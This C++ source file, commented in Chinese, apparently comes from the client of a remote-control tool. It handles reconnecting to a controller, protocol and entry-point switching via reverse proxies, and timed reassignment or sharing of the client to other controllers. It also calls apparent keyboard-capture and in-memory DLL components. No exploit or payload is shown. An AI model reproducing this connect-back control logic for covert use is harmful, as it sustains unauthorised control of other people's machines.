// 服务端把目标入口写进本机配置(注册表 settings\proto_override 等),随后客户端断开,
|
||
// 重连循环在这里按新入口重连。覆盖点选在「外壳注入完连接配置之后、建连之前」,因此
|
||
// 在线升级换 DLL 也不会把协议按回 TCP——外壳注入的 protoType 每次都被这里覆盖。
|
||
//
|
||
// 注册表键(后缀均在 settings 下):
|
||
// proto_override 目标协议(PROTO_TCP/WS/WSS 的数字),空 = 未切换
|
||
// entry_host/port 新入口(反代域名:端口)
|
||
// entry_try_at 切换时刻(unix 秒)。登录成功后清零;超时仍未登录 → 自动回退
|
||
// base_host/port/proto 安装时的直连入口(首次切换时记录,「还原」用它)
|
||
// prev_host/port/proto 切换前的入口(每次切换时记录,自动回退用它)
|
||
namespace {
|
||
|
||
const int kProtoSwitchRevertSeconds = 300; // 新入口 5 分钟内登不上去 → 自动回退
|
||
|
||
bool IsSwitchableProto(int p)
|
||
{
|
||
return p == PROTO_TCP || p == PROTO_WS || p == PROTO_WSS;
|
||
}
|
||
|
||
// 本进程首次见到的入口(外壳注入的直连入口)。用于识别「客户端被换装/重新生成」:
|
||
// 注入入口变了,就清掉旧的切换状态,否则会一直连到上一份配置的反代入口。
|
||
std::string g_bootHost;
|
||
int g_bootPort = 0;
|
||
bool g_bootCaptured = false;
|
||
|
||
void ClearAllProtoSwitchKeys(iniFile& cfg)
|
||
{
|
||
const char* keys[] = { "proto_override", "entry_host", "entry_port", "entry_try_at",
|
||
"base_host", "base_port", "base_proto",
|
||
"prev_host", "prev_port", "prev_proto" };
|
||
for (auto k : keys)
|
||
cfg.SetStr("settings", k, "");
|
||
}
|
||
|
||
// 在每次建连前应用入口覆盖(就地改写 s,并落盘必要的状态)。没有返回值:它既会改 s 也会
|
||
// 改配置,用「是否用了覆盖入口」当返回值会与副作用矛盾——自动回退分支照样改写了 settings,
|
||
// 却没法用一个 bool 表达,调用方也确实不需要这个信息。
|
||
void ApplyProtoSwitch(iniFile& cfg, CONNECT_ADDRESS& s)
|
||
{
|
||
if (!g_bootCaptured) {
|
||
g_bootCaptured = true;
|
||
g_bootHost = s.ServerIP();
|
||
g_bootPort = s.ServerPort();
|
||
}
|
||
|
||
const std::string baseHost = cfg.GetStr("settings", "base_host");
|
||
if (!baseHost.empty() && baseHost != g_bootHost) {
|
||
// 客户端换装/重新生成:注入的入口变了,旧的反代入口不再成立
|
||
ClearAllProtoSwitchKeys(cfg);
|
||
Mprintf("[proto-switch] injected entry changed (%s -> %s), cleared stale switch state\n",
|
||
baseHost.c_str(), g_bootHost.c_str());
|
||
return;
|
||
}
|
||
|
||
const std::string proto = cfg.GetStr("settings", "proto_override");
|
||
if (proto.empty()) {
|
||
// 覆盖已撤销(服务端「还原」):回到安装时的直连入口
|
||
const std::string host = cfg.GetStr("settings", "base_host");
|
||
const int port = atoi(cfg.GetStr("settings", "base_port").c_str());
|
||
int baseProto = atoi(cfg.GetStr("settings", "base_proto").c_str());
|
||
if (!host.empty() && port > 0) {
|
||
if (!IsSwitchableProto(baseProto)) baseProto = PROTO_TCP;
|
||
s.SetServer(host.c_str(), port);
|
||
s.protoType = (char)baseProto;
|
||
Mprintf("[proto-switch] restored direct entry %s:%d proto=%d\n", host.c_str(), port, baseProto);
|
||
}
|
||
return;
|
||
}
|
||
|
||
const int p = atoi(proto.c_str());
|
||
if (!IsSwitchableProto(p)) {
|
||
ClearAllProtoSwitchKeys(cfg); // 坏值:撤销覆盖,按注入配置走
|
||
return;
|
||
}
|
||
|
||
// 自动回退:切换后一直没登录成功(entry_try_at 由服务端下发时写入,登录成功后清零)
|
||
const long long tryAt = atoll(cfg.GetStr("settings", "entry_try_at").c_str());
|
||
if (tryAt > 0 && (long long)time(0) - tryAt > kProtoSwitchRevertSeconds) {
|
||
const std::string prevHost = cfg.GetStr("settings", "prev_host");
|
||
const int prevPort = atoi(cfg.GetStr("settings", "prev_port").c_str());
|
||
int prevProto = atoi(cfg.GetStr("settings", "prev_proto").c_str());
|
||
if (!prevHost.empty() && prevPort > 0) {
|
||
// 把「覆盖」改写成切换前的入口,而不是清空它:清空会落到下面的「还原」分支,
|
||
// 下一轮重连又跳回安装时的直连入口——WS↔WSS 之间来回切时会白白多断一次。
|
||
if (!IsSwitchableProto(prevProto)) prevProto = PROTO_TCP;
|
||
s.SetServer(prevHost.c_str(), prevPort);
|
||
s.protoType = (char)prevProto;
|
||
cfg.SetStr("settings", "proto_override", std::to_string(prevProto));
|
||
cfg.SetStr("settings", "entry_host", prevHost);
|
||
cfg.SetStr("settings", "entry_port", std::to_string(prevPort));
|
||
Mprintf("[proto-switch] new entry unreachable for %llds, reverted to %s:%d proto=%d\n",
|
||
(long long)time(0) - tryAt, prevHost.c_str(), prevPort, prevProto);
|
||
} else {
|
||
// 没有前入口可回:撤销覆盖,按外壳注入的配置走
|
||
cfg.SetStr("settings", "proto_override", "");
|
||
cfg.SetStr("settings", "entry_host", "");
|
||
cfg.SetStr("settings", "entry_port", "");
|
||
Mprintf("[proto-switch] new entry unreachable and no previous entry, override dropped\n");
|
||
}
|
||
cfg.SetStr("settings", "entry_try_at", "0");
|
||
return;
|
||
}
|
||
|
||
const std::string host = cfg.GetStr("settings", "entry_host");
|
||
const int port = atoi(cfg.GetStr("settings", "entry_port").c_str());
|
||
if (!host.empty() && port > 0)
|
||
s.SetServer(host.c_str(), port);
|
||
s.protoType = (char)p;
|
||
}
|
||
|
||
// 新入口登录成功:撤销自动回退计时。入口覆盖本身保留——后续重连一直用它。
|
||
void ConfirmProtoSwitch(iniFile& cfg)
|
||
{
|
||
if (cfg.GetStr("settings", "proto_override").empty())
|
||
return;
|
||
if (cfg.GetStr("settings", "entry_try_at") == "0" ||
|
||
cfg.GetStr("settings", "entry_try_at").empty())
|
||
return;
|
||
cfg.SetStr("settings", "entry_try_at", "0");
|
||
Mprintf("[proto-switch] new entry reachable, auto-revert disarmed\n");
|
||
}
|
||
|
||
} // namespace
|
||
|
||
// 「被转移」的主控:注册表里有未过期的 valid_to 就把主连接改到 master:port,
|
||
// 并记下到期时刻。KernelManager 的 ASSIGN 分支只写配置 + 断开连接(CONNECT_ADDRESS
|
||
// 不参与跨线程同步,不能在收包线程里改),真正的应用在这里:进 StartClient 时一次,
|
||
// 之后每轮重连前再看一眼——所以会话中途下发的转移,下一轮就生效,不用等进程重启。
|
||
// 返回 true 表示当前处于转移期(assigned)。
|
||
static bool ApplyAssignedMaster(iniFile& cfg, CONNECT_ADDRESS& settings, double& valid_to)
|
||
{
|
||
auto now = time(0);
|
||
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||
if (now > valid_to)
|
||
return false;
|
||
auto saved_ip = cfg.GetStr("settings", "master");
|
||
auto saved_port = cfg.GetInt("settings", "port");
|
||
if (saved_ip.empty() || saved_port <= 0)
|
||
return false;
|
||
settings.SetServer(saved_ip.c_str(), saved_port);
|
||
auto saved_proto = cfg.GetStr("settings", "master_proto");
|
||
if (saved_proto == "0" || saved_proto == "1")
|
||
settings.iHeaderEnc = atoi(saved_proto.c_str());
|
||
// 转移时一并下发的传输方式(新服务端才有;老记录没有这个键)。没有记录就
|
||
// 沿用烘焙值——这里不能写死 PROTO_TCP,否则老转移记录会把原本 WSS 的
|
||
// 客户端改回直连。
|
||
auto saved_transport = cfg.GetStr("settings", "master_transport");
|
||
if (saved_transport == "0" || saved_transport == "5" || saved_transport == "6")
|
||
settings.protoType = (char)atoi(saved_transport.c_str());
|
||
// 每轮重连都会走到这里,目标没变就不再打日志——否则一个连不上的转移目标会把
|
||
// 客户端日志刷成同一条重复行,排查时反而看不到别的。
|
||
static std::string logged;
|
||
const std::string cur = saved_ip + ":" + std::to_string(saved_port) + "@" +
|
||
std::to_string((long long)valid_to);
|
||
if (cur != logged) {
|
||
logged = cur;
|
||
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(),
|
||
saved_port, int(valid_to - now));
|
||
}
|
||
return true;
|
||
}
|
||
|
||
DWORD WINAPI StartClient(LPVOID lParam)
|
||
{
|
||
ClientApp& app(*(ClientApp*)lParam);
|
||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||
BOOL assigned = FALSE;
|
||
iniFile cfg(CLIENT_PATH);
|
||
double valid_to = 0;
|
||
std::string ip = settings.ServerIP();
|
||
int port = settings.ServerPort();
|
||
// 转移会把主连接改成目标主控的传输方式(master_transport),复原时要一并还原,
|
||
// 否则从 WSS 主控转出去的主机会按目标的传输方式去连原主控。
|
||
const char linkProto = settings.protoType;
|
||
const int linkHeaderEnc = settings.iHeaderEnc;
|
||
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
|
||
ActivityHistory::Instance().Start();
|
||
if (!app.m_bShared)
|
||
assigned = ApplyAssignedMaster(cfg, settings, valid_to);
|
||
auto list = app.GetSharedMasterList();
|
||
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
||
// 并发上线的并行实例只派生一次:主控端重启重连时会再次进入 StartClient,
|
||
// 若不守护会重复派生并行连接。主实例的 SetServer(list[0]) 保持每次执行,
|
||
// 让主实例始终指向域名解析出的第一个 IP。
|
||
static bool parallelHasRun = false;
|
||
if (!parallelHasRun) {
|
||
parallelHasRun = true;
|
||
for (int i=1; i<list.size(); ++i) {
|
||
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
||
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, FALSE);
|
||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||
}
|
||
}
|
||
// The main ClientApp.
|
||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||
}
|
||
static bool hasRun = false;
|
||
if (!app.m_bShared && !hasRun) {
|
||
hasRun = true;
|
||
auto a = cfg.GetStr("settings", "share_list");
|
||
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
||
// 旧版本可能为同一目标留下多条记录;启动时按 host:port 去重,否则同一
|
||
// clientID 会起两个分享实例,登录时互相踢。
|
||
std::set<std::string> startedTargets;
|
||
for (int i = 0; i < shareList.size(); ++i) {
|
||
auto v = StringToVector(shareList[i], ':', 4);
|
||
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
|
||
// 第 4 段是分享链路的传输方式(新服务端才下发;老记录没有这一段,按烘焙值走)。
|
||
// 同样只认合法值:atoi 对非法串返回 0(=PROTO_TCP),会把 WSS 静默降级成直连。
|
||
int transport = (v.size() >= 4 && (v[3] == std::to_string(PROTO_TCP)
|
||
|| v[3] == std::to_string(PROTO_WS)
|
||
|| v[3] == std::to_string(PROTO_WSS)))
|
||
? atoi(v[3].c_str()) : -1;
|
||
// 同一目标只起一个实例;旧版本可能留下重复记录。
|
||
const std::string targetKey =
|
||
(!v[0].empty() && !v[1].empty()) ? v[0] + ":" + v[1] : std::string();
|
||
if (!targetKey.empty() && !startedTargets.insert(targetKey).second) {
|
||
Mprintf("[StartClient] Duplicate share record for %s skipped\n", targetKey.c_str());
|
||
continue;
|
||
}
|
||
// 同样登记(含目标地址),取消分享时一起停掉;重新分享同一目标时也能替换。
|
||
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto, transport);
|
||
StartSharedClient(a, SHARED_KIND_SHARE, targetKey);
|
||
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
|
||
}
|
||
}
|
||
std::string expiredDate;
|
||
// 主控端「运行测试程序」加载的实例跑在主控进程里:GetModuleFileName(NULL) 是主控 EXE,
|
||
// 而主控 EXE 一定大于 16MB,「YAMA_<pid>/EVENT_<pid>」事件也可能是上一轮测试残留,
|
||
// 会被 IsAuthKernel 误判成授权内核并改写连接地址。测试实例一律按普通客户端跑。
|
||
BOOL isAuthKernel = IsLocalTestClient(&settings) ? FALSE : IsAuthKernel(expiredDate);
|
||
if (isAuthKernel) ParseAuthServer(&settings);
|
||
|
||
// 内嵌 TLS 信任锚只在「连的正是生成时那台主控」时生效(见设计文档 §3.6)。这个判定
|
||
// 由 TLS 层在每条连接上自己做(TlsChannel::Handshake / TlsEnabledFor 按目标地址比
|
||
// IP 集合),不再在这里写全局开关:被转移(assigned)与被分享的实例是**同一进程里
|
||
// 的线程**,一个进程级布尔量表达不了「主连接用锚、分享连接不用」,谁先连谁说了算。
|
||
|
||
Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
|
||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||
// V2 authorization supports offline mode, verify signature and skip timeout check
|
||
VERIFY_V2_AND_SET_AUTHORIZED();
|
||
State& bExit(app.g_bExit);
|
||
IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP);
|
||
if (nullptr == ClientObject) return -1;
|
||
// 主连接:登录被接受后发布头加密类型;上一条连接没被登录接受时,重连换下一种类型
|
||
// 轮转探测。其余 IOCPClient(文件/进程/屏幕等子连接)都跟随这里发布的值。
|
||
ClientObject->MarkMainLink();
|
||
CKernelManager* Manager = nullptr;
|
||
|
||
if (!app.m_bShared) {
|
||
if (NULL == app.g_hEvent) {
|
||
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
|
||
}
|
||
if (app.g_hEvent == NULL) {
|
||
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
|
||
}
|
||
}
|
||
|
||
app.SetThreadRun(TRUE);
|
||
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
|
||
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
|
||
// 转移到期复原。必须与连接状态解耦:旧实现只在心跳循环里判断,转移目标不可达时
|
||
// 主连接一直重连失败,根本进不了那个循环,主机就会卡在一个已经过期的地址上,
|
||
// 只能等进程重启。复原后置 S_CLIENT_UPDATE:StartClientApp 复位状态并重新进入
|
||
// 本函数,注册表里的 valid_to 已过期,不会再把地址改回转移目标。
|
||
auto restoreExpiredAssignment = [&]() -> bool {
|
||
if (!assigned || time(0) <= valid_to)
|
||
return false;
|
||
// ip/port/proto 是进 StartClient 时记下的、被转移覆盖之前的链路。
|
||
app.SetProcessState(S_CLIENT_UPDATE);
|
||
settings.SetServer(ip.c_str(), port);
|
||
settings.protoType = linkProto;
|
||
settings.iHeaderEnc = linkHeaderEnc;
|
||
Mprintf("[StartClient] Client is restored to %s:%d\n", ip.c_str(), port);
|
||
return true;
|
||
};
|
||
while (app.m_bIsRunning(&app)) {
|
||
// 每轮都从注册表对齐一次转移目标:会话中途被转移时,KernelManager 的 ASSIGN
|
||
// 分支写的是注册表并断开连接(CONNECT_ADDRESS 不参与跨线程同步,收包线程改不了),
|
||
// 新地址只能在这里读出来再连。
|
||
// 不能像以前那样「只在 assigned 为假时读一次」——到期复原后 assigned 已经是真,
|
||
// 原主控再次发起转移就会被整条漏掉(注册表改了、会话还连在老地址上)。
|
||
// 没有有效记录(从未转移 / 已过期)时本函数一个键都不改,代价只是读几个注册表值。
|
||
if (!app.m_bShared && ApplyAssignedMaster(cfg, settings, valid_to))
|
||
assigned = TRUE;
|
||
// 到期判断放在建连之前:目标不可达时下面的 ConnectServer 会一直失败,
|
||
// 心跳循环根本进不去,复原不能只依赖那条路径。
|
||
if (restoreExpiredAssignment())
|
||
break;
|
||
ULONGLONG dwTickCount = GetTickCount64();
|
||
// 协议切换:按注册表里的入口覆盖建连(分享实例不受主控的切换影响,被分配/转移
|
||
// 过主控的入口优先)。
|
||
if (!assigned && !app.m_bShared)
|
||
ApplyProtoSwitch(cfg, settings);
|
||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
||
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
|
||
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
|
||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||
// Check auth timeout for trial/unauthorized users while waiting to reconnect
|
||
if (isAuthKernel && AuthTimeoutChecker::NeedCheck())
|
||
AuthTimeoutChecker::Check();
|
||
continue;
|
||
}
|
||
SAFE_DELETE(Manager);
|
||
|
||
//准备第一波数据
|
||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate,
|
||
isAuthKernel, ClientObject->IsTlsActive(),
|
||
ClientObject->IsTlsAnchorEmbedded());
|
||
Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
|
||
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
|
||
Manager->SetClientApp(&app);
|
||
Manager->SetLoginMsg(login.szStartTime + std::string("|") + std::to_string(settings.clientID));
|
||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login))
|
||
WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200);
|
||
WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200);
|
||
|
||
do {
|
||
Manager->SendHeartbeat();
|
||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||
// 协议切换:新入口「登录被接受」后才撤销自动回退计时(ConfirmProtoSwitch 幂等)。
|
||
// IsConnected() 只代表 TCP/TLS/WS 握手完成;若新入口能建连但登录始终不被接受
|
||
// (选错后端、反代指到别的 WS 服务、服务端登录阶段丢弃),提前撤销会让 5 分钟
|
||
// 自动回退永久失效,客户端卡在错误入口反复重连。IsLoginAcked() 在收到
|
||
// CMD_MASTERSETTING 时置位——服务端只有在把本机加入在线列表后才发它。
|
||
// 不放在循环前一次判定:MasterSettings 可能比第一轮心跳晚到。
|
||
if (ClientObject->IsConnected() && ClientObject->IsLoginAcked())
|
||
ConfirmProtoSwitch(cfg);
|
||
// 连接期间到期也要立刻复原;不可达的情况由外层循环开头兜底。
|
||
restoreExpiredAssignment();
|
||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
||
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||
Sleep(200);
|
||
}
|
||
kb->Exit(10);
|
||
SAFE_DELETE(kb);
|
||
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
||
BOOL b = SetEvent(app.g_hEvent);
|
||
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
||
|
||
SAFE_CLOSE_HANDLE(app.g_hEvent);
|
||
app.g_hEvent = NULL;
|
||
}
|
||
// 只有主实例退出才代表整个客户端要结束了。分享/转移实例被取消或到期时也是
|
||
// S_CLIENT_EXIT,若在这里写进程级 g_IsAppExit,会把 FRP 等模块一起打掉。
|
||
if (app.g_bExit == S_CLIENT_EXIT && !app.m_bShared) {
|
||
CKernelManager::g_IsAppExit = 2;
|
||
Sleep(200);
|
||
}
|
||
|
||
Mprintf("StartClient end\n");
|
||
delete ClientObject;
|
||
SAFE_DELETE(Manager);
|
||
app.SetThreadRun(FALSE);
|
||
|
||
return 0;
|
||
}
|